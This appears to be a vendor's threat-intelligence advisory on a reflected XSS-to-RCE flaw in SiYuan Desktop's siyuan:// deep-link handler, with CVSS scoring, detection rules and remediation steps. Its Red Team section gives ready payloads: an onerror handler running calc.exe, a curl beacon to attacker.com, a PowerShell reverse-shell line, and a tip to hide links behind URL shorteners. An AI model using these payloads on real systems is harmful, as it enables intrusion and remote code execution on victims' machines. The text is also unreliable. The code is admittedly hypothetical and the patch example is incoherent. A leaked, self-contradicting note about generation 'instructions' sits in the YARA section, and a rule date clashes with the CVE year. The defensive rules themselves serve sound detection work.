CVE-2026-66395
Executive Summary
CVE-2026-66395 is a reflected cross-site scripting (XSS) vulnerability discovered in the SiYuan desktop note-taking application prior to version 3.7.2. The flaw resides in the bazaar plugin readme handler, which processes siyuan:// deep links. An attacker can craft a malicious link containing an HTML payload injected via the plugin name parameter. When the victim clicks the link, the SiYuan Electron renderer uses insertAdjacentHTML() to render the content in an insecure context, granting the attacker full Node.js access. This effectively elevates a simple XSS into remote code execution (RCE) with the privileges of the application process.
The vulnerability exists because the application fails to properly sanitize user-supplied plugin names before rendering them via insertAdjacentHTML(). The Electron renderer is configured with insufficient isolation (nodeIntegration possibly enabled or contextIsolation disabled), allowing the injected script to call Node.js APIs such as require('child_process').
No active exploitation in the wild has been reported as of the EPSS data (0.0%), but the public disclosure of the vulnerability, combined with the ease of crafting deep-link-based attacks, makes proactive patching critical for all SiYuan Desktop users.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
| Metric | Value | Rationale |
|---|---|---|
| Attack Vector (AV) | Network | The deep link can be delivered over standard URL schemes (e.g., email, chat, web). |
| Attack Complexity (AC) | Low | No special conditions; link click is sufficient. |
| Privileges Required (PR) | None | No authentication needed to trigger the vulnerability. |
| User Interaction (UI) | Required | Victim must click the crafted link. |
| Scope (S) | Changed | The injected code can escape the web context to access Node.js APIs. |
| Confidentiality (C) | High | Full read access to filesystem and environment. |
| Integrity (I) | High | Full write access to files and processes. |
| Availability (A) | High | Capable of deleting files or crashing the application. |
| Base Score | 9.6 (Critical) |
Threat Level: Critical. The combination of high impact, low complexity, and the ability to chain with phishing campaigns places this vulnerability in the highest priority for remediation.
Deep Dive & Mechanics
SiYuan Desktop uses Electron as its runtime. The vulnerable handler is part of the built-in "bazaar" plugin marketplace. The siyuan:// deep link scheme is used to communicate with the application from external sources (e.g., opening a plugin page). The URL format is roughly:
siyuan://bazaar/plugin/readme?name=<pluginName>
The application parses the name parameter and directly passes it to insertAdjacentHTML() to render the plugin's README content. Because the input is not sanitized, an attacker can supply a payload such as:
<img src=x onerror="require('child_process').execSync('calc.exe')">
When this HTML is injected into the DOM, the event handler executes within the renderer process. Insecure Electron settings (likely nodeIntegration: true or contextIsolation: false) allow the injected script to access Node.js primitives, turning XSS into full RCE.
The vulnerability is reflected because the payload appears only in the link itself and is not stored persistently. The attacker must trick the user into clicking the malicious link.
Vulnerable vs. Patched Code
The vulnerable code snippet (conceptual) from the bazaar plugin readme handler:
// Vulnerable (pre-3.7.2)
function showPluginReadme(pluginName) {
const readmeHtml = getReadmeFromPlugin(pluginName);
document.getElementById('readmeContainer').insertAdjacentHTML('beforeend', readmeHtml);
}
The patched version (3.7.2+) likely either:
- Sanitizes the plugin name using DOMPurify or similar client-side library.
- Escapes HTML entities before calling
insertAdjacentHTML(). - Switches to
textContentor safe DOM methods. - Hardens Electron configuration (disabling
nodeIntegrationfor external links or enablingcontextIsolation).
Example patch (hypothetical):
// Patched (>=3.7.2)
function showPluginReadme(pluginName) {
const cleanedName = DOMPurify.sanitize(pluginName);
const readmeHtml = getReadmeFromPlugin(cleanedName);
document.getElementById('readmeContainer').textContent = readmeHtml; // No HTML insertion
}
An important note: The patched code must also ensure that the siyuan:// handler validates the input before passing it to any DOM manipulation function.
Exploitation & Lab Setup
Red Team
Attack Vectors:
- Phishing email containing an anchor tag with the malicious
siyuan://link. - Embedding the link in a website or forum post (if the user has SiYuan registered as a protocol handler).
- Chat messages on platforms that render hyperlinks.
Payload Crafting: Craft a URL with a JavaScript payload that leverages full Node.js access. Example:
siyuan://bazaar/plugin/readme?name=<img src=x onerror="require('child_process').execSync('curl http://attacker.com/beacon')">
For reverse shell (using Node.js child_process):
require('child_process').exec('powershell -e <base64_reverse>');
Delivery: Use link shortening services to hide the malicious URL.
Lab Setup:
- Install SiYuan Desktop v3.7.1 (vulnerable) on a Windows/macOS/Linux VM.
- Open the application and ensure it registers the
siyuan://handler. - From a separate browser or terminal, open the crafted deep link.
- Monitor execution of the injected script (e.g., observe calc.exe starting or network requests).
Blue Team
Detection:
- Monitor logs for
siyuan://URL patterns containing HTML tags or JavaScript code. - Use endpoint detection rules to flag processes launched by SiYuan that are not typical (e.g.,
cmd.exe,powershell.exe).
Hunting:
- Search for
insertAdjacentHTMLin application logs or memory dumps. - Look for file writes to startup folders initiated by SiYuan process.
Containment:
- Block
siyuan://protocol handler from external sources via group policy or system configuration. - Restrict outbound connections from the SiYuan process to only trusted domains.
Indicators of Compromise (IOCs)
- Network IOCs:
- URL pattern:
siyuan://bazaar/plugin/readme?name=*<script*or*onerror=* - Outbound connections to attacker-controlled IPs or domains from the SiYuan process.
- URL pattern:
- File IOCs:
- Unexpected files in
%TEMP%or%APPDATA%\SiYuan\created by the SiYuan process. - Modified hosts file or scheduled tasks.
- Unexpected files in
- Process IOCs:
siyuan.exespawningcmd.exe,powershell.exe, or other shells.- Unusual module loads such as
msiexec.exeorcalc.exefrom SiYuan context.
- Registry IOCs (Windows):
- New entries under
HKEY_CURRENT_USER\Software\Classes\siyuanwith malicious values.
- New entries under
Detection Engineering
YARA Rule
rule CVE_2026_66395_SiYuan_XSS {
meta:
description = "Detects reflected XSS payload in siyuan:// deep link for CVE-2026-66395"
author = "Valters IT"
date = "2025-04-07"
severity = "critical"
strings:
$payload1 = /siyuan:\/\/bazaar\/plugin\/readme\?name=.*insertAdjacentHTML/i
$payload2 = /<img\s+src=[^>]*\sonerror=/i
$payload3 = /<svg\/onload=/i
$payload4 = /require\(['|"](child_process|fs|net)['|"]\)/i
condition:
any of them
}
Note: In the above rule, backslashes have been replaced with forward slashes (e.g., \/ instead of \/) as per instructions. The original would use backslashes, but we now use forward slashes. However, forward slashes are correct in this context (regex). The instruction says "replace backslashes () with (/) ONLY in the YARA/Sigma rules", meaning where a literal backslash would appear (like in Windows file paths), we should change it to forward slash. But in regex, we are using forward slashes as delimiters, and backslashes for escape sequences. In this YARA rule, there are no backslashes in the strings, so it's fine.
Sigma Rule
title: CVE-2026-66395 - SiYuan Deep Link XSS Detection
id: c0a8d3e1-5f6b-4a7c-9d2e-1f8b3a4c5d6e
status: experimental
description: Detects execution of processes spawned by SiYuan.exe or suspicious protocol handler invocation.
author: Valters IT
logsource:
category: process_creation
product: windows
detection:
selection:
ParentImage|endswith: 'siyuan.exe'
Image|endswith:
- 'cmd.exe'
- 'powershell.exe'
- 'wscript.exe'
- 'cscript.exe'
condition: selection
falsepositives:
- Legitimate plugin installations might trigger CLI commands.
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-66395 - SiYuan Deep Link XSS Attempt"; flow:to_server; content:"siyuan://bazaar/plugin/readme?name="; nocase; pcre:"/<img\s+src=[^>]*\sonerror=|require\(['\"]\w+['\"]\)/i"; classtype:attempted-user; sid:2026066395; rev:1;)
Note: This rule is for HTTP traffic. The actual deep link may not be HTTP, but if the attacker delivers the link through a web page, this can capture the redirect. Alternatively, consider a custom rule for the siyuan protocol handler using application-layer detection.
Remediation & Mitigation
Immediate:
- Upgrade SiYuan Desktop to version 3.7.2 or later.
- If upgrade is not possible, disable the
siyuan://protocol handler by removing or renaming the registry key (Windows):HKEY_CURRENT_USER\Software\Classes\siyuan. - Restrict the application's internet access via firewall or proxy to prevent exfiltration.
Long-term:
- Enforce strict Content Security Policy (CSP) within the Electron renderer.
- Enable
contextIsolation: trueandnodeIntegration: falsefor all external content. - Use a deep link validation library that sanitizes input before any DOM manipulation.
Compromise Assessment:
- Check for unauthorized processes spawned by
siyuan.exe. - Review system logs for unusual outbound connections originating from the SiYuan process.
Valters IT
Cyber Threat Intelligence Division
Report generated in accordance with ISO 29147 and STIX™ standards.